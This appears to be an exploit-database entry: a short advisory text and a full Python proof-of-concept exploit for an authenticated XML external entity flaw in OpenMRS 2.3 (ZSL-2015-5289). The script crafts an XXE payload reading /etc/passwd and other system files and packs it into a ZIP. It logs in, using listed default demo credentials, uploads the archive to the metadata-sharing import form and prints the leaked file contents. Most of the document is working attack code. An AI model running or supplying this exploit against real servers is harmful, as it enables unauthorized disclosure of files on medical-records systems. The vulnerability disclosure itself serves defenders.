OpenMRS version 2.3 (1.11.4) suffers from an XML external entity processing vulnerability. The vulnerability is caused due to an error when parsing XML entities within ZIP archives and can be exploited to e.g. disclose data from local resources or cause a DoS condition (billion laughs) via a specially crafted XML file including external entity references.
070b2c30afd808c338b88609b0c09df9664f1cb7251179abf50e418c628aac90
#!/usr/bin/env python
#
# OpenMRS 2.3 (1.11.4) XML External Entity (XXE) Processing PoC Exploit
#
#
# Vendor: OpenMRS Inc.
# Product web page: http://www.openmrs.org
# Affected version: OpenMRS 2.3, 2.2, 2.1, 2.0 (Platform 1.11.4 (Build 6ebcaf), 1.11.2 and 1.10.0)
# OpenMRS-TB System (OpenMRS 1.9.7 (Build 60bd9b))
#
# Summary: OpenMRS is an application which enables design of a customized medical
# records system with no programming knowledge (although medical and systems analysis
# knowledge is required). It is a common framework upon which medical informatics
# efforts in developing countries can be built.
#
# Desc: The vulnerability is caused due to an error when parsing XML entities within
# ZIP archives and can be exploited to e.g. disclose data from local resources or cause
# a DoS condition (billion laughs) via a specially crafted XML file including external
# entity references.
#
#
# Tested on: Ubuntu 12.04.5 LTS
# Apache Tomcat/7.0.26
# Apache Tomcat/6.0.36
# Apache Coyote/1.1
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2015-5289
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5289.php
#
# Affected: OpenMRS Core, Serialization.Xstream module, Metadata Sharing module
# Severity: Major
# Exploit: Remote Code Execution by an authenticated user
#
# Vendor Bug Fixes:
#
# Disabled serialization and deserialization of dynamic proxies
# Disabled deserialization of external entities in XML files
# Disabled spring's Expression Language support
#
# https://talk.openmrs.org/t/openmrs-security-advisories-2015-11-30/3868
# https://talk.openmrs.org/t/critical-security-advisory-2015-11-25/3824
# https://wiki.openmrs.org/display/RES/Release+Notes+2.3.1
# http://openmrs.org/2015/12/reference-application-2-3-1-released/
# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.9.10
# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.10.3
# https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.11.5
# https://modules.openmrs.org/modulus/api/releases/1308/download/serialization.xstream-0.2.10.omod
# https://modules.openmrs.org/modulus/api/releases/1309/download/metadatasharing-1.1.10.omod
# https://modules.openmrs.org/modulus/api/releases/1303/download/reporting-0.9.8.1.omod
#
# OpenMRS platform has been upgraded to version 1.11.5
# Reporting module has been upgraded to version 0.9.8.1
# Metadata sharing module has been upgraded to version 1.1.10
# Serialization.xstream module has been upgraded to version 0.2.10
#
# Who is affected?
#
# Anyone running OpenMRS Platform (1.9.0 and later)
# Anyone running OpenMRS Reference Application 2.0, 2.1, 2.2, 2.3
# Anyone that has installed the serialization.xstream module except for the newly released 0.2.10 version.
# Anyone that has installed the metadatasharing module except for the newly released 1.1.10 version.
#
#
# 02.11.2015
#
import itertools, mimetools, mimetypes
import cookielib, urllib, urllib2, sys
import time, datetime, re, zipfile, os
import binascii
from urllib2 import URLError
global bindata
piton = os.path.basename(sys.argv[0])
def bannerche():
print '''
@-------------------------------------------------@
| |
| OpenMRS 2.3 Authenticated XXE Exploit |
| ID: ZSL-2015-5289 |
| Copyleft (c) 2015, Zero Science Lab |
| |
@-------------------------------------------------@
'''
if len(sys.argv) < 4:
print '\n[+] Usage: '+piton+' <host> <port> <path> \n'
print '[+] Example: '+piton+' uat05.zeroscience.mk 8080 openmrs\n'
sys.exit()
bannerche()
print '[+] Date: '+str(datetime.date.today())
payload = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ZSL [
<!ENTITY xxe1 SYSTEM "file:////etc/passwd" >
<!ENTITY xxe2 SYSTEM "file:///etc/resolv.conf" >
<!ENTITY xxe3 SYSTEM "file:///etc/issue" >]>
<package id="1" uuid="eecb64f8-35b0-412b-acda-3d83edf4ee63">
<dateCreated id="2">2015-11-06 10:47:19</dateCreated>
<name>&xxe1;</name>
<description>&xxe2;</description>
<openmrsVersion>&xxe3;</openmrsVersion>
<version>1</version>
</package>'''
print '[+] Creating header.xml file.'
file = open('header.xml', 'w')
file.write(payload)
file.close()
time.sleep(1)
print '[+] Packing evil XML file.'
with zipfile.ZipFile('xxe.zip', 'w') as devzip:
devzip.write('header.xml')
os.remove('header.xml')
print '[+] XML file vacuumed.'
time.sleep(1)
filename = 'xxe.zip'
with open(filename, 'rb') as f:
content = f.read()
hexo = binascii.hexlify(content)
bindata = binascii.unhexlify(hexo)
print '[+] File xxe.zip successfully created!'
print '[+] Initialising communication.'
host = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
print '[+] Probing target http://'+host+':'+port+'/'+path+'/'
try:
checkhost = opener.open('http://'+host+':'+port+'/'+path+'/login.htm')
hostresp = checkhost.read()
except urllib2.HTTPError, errorzio:
if errorzio.code == 404:
print '[+] Error:'
print '[+] Check your path entry!'
print
sys.exit()
except URLError, errorziocvaj:
if errorziocvaj.reason:
print '[+] Error:'
print '[+] Check your hostname entry!'
print
sys.exit()
print '[+] Target seems OK.'
print '[+] Login please:'
print '''
Username: doctor nurse clerk sysadmin admin scheduler
Password: Doctor123 Nurse123 Clerk123 Sysadmin123 Admin123 Scheduler123
'''
username = raw_input('[*] Enter username: ')
password = raw_input('[*] Enter password: ')
login_data = urllib.urlencode({
'username' : username,
'password' : password,
'sessionLocation' : '3',
'redirectUrl' : '/'+path+'/module/metadatasharing/import/list.form'
})
login = opener.open('http://'+host+':'+port+'/'+path+'/login.htm', login_data)
auth = login.read()
for session in cj:
sessid = session.name
print '[+] Mapping session ID.'
ses_chk = re.search(r'%s=\w+' % sessid , str(cj))
cookie = ses_chk.group(0)
print '[+] Cookie: '+cookie
if re.search(r'Invalid username/password. Please try again', auth):
print '[+] Incorrect username or password.'
print
sys.exit()
else:
print '[+] Authenticated!'
opener.open('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/list.form')
print '[+] Sending payload.'
class MultiPartForm(object):
def __init__(self):
self.form_fields = []
self.files = []
self.boundary = mimetools.choose_boundary()
return
def get_content_type(self):
return 'multipart/form-data; boundary=%s' % self.boundary
def add_field(self, name, value):
self.form_fields.append((name, value))
return
def add_file(self, fieldname, filename, fileHandle, mimetype=None):
body = fileHandle.read()
if mimetype is None:
mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
self.files.append((fieldname, filename, mimetype, body))
return
def __str__(self):
parts = []
part_boundary = '--' + self.boundary
parts.extend(
[ part_boundary,
'Content-Disposition: form-data; name="%s"' % name,
'',
value,
]
for name, value in self.form_fields
)
parts.extend(
[ part_boundary,
'Content-Disposition: file; name="%s"; filename="%s"' % \
(field_name, filename),
'Content-Type: %s' % content_type,
'',
body,
]
for field_name, filename, content_type, body in self.files
)
flattened = list(itertools.chain(*parts))
flattened.append('--' + self.boundary + '--')
flattened.append('')
return '\r\n'.join(flattened)
if __name__ == '__main__':
form = MultiPartForm()
form.add_field('file"; filename="xxe.zip', bindata)
form.add_field('url', '')
request = urllib2.Request('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/upload.form')
request.add_header('User-agent', 'joxypoxy 6.5')
body = str(form)
request.add_header('Origin', 'http://'+host+':'+port)
request.add_header('Accept-Encoding', 'gzip, deflate')
request.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8')
request.add_header('Accept-Language', 'en-US,en;q=0.8')
request.add_header('Cache-Control', 'max-age=0')
request.add_header('Upgrade-Insecure-Requests', '1')
request.add_header('Referer', 'http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/upload.form')
request.add_header('Content-type', form.get_content_type())
request.add_header('Cookie', cookie)
request.add_header('Content-length', len(body))
request.add_data(body)
request.get_data()
urllib2.urlopen(request).read()
time.sleep(1)
print '[+] Retrieving /etc/passwd:'
time.sleep(2)
getinfo = opener.open('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/validate.form')
readinfo = getinfo.read()
striphtml = re.sub("<.*?>", "", readinfo)
match = re.search(r'root:.*/bin/bash', striphtml, re.DOTALL)
print '\n--------------------------------------------------------'
print match.group(0)
print '--------------------------------------------------------'
sys.exit()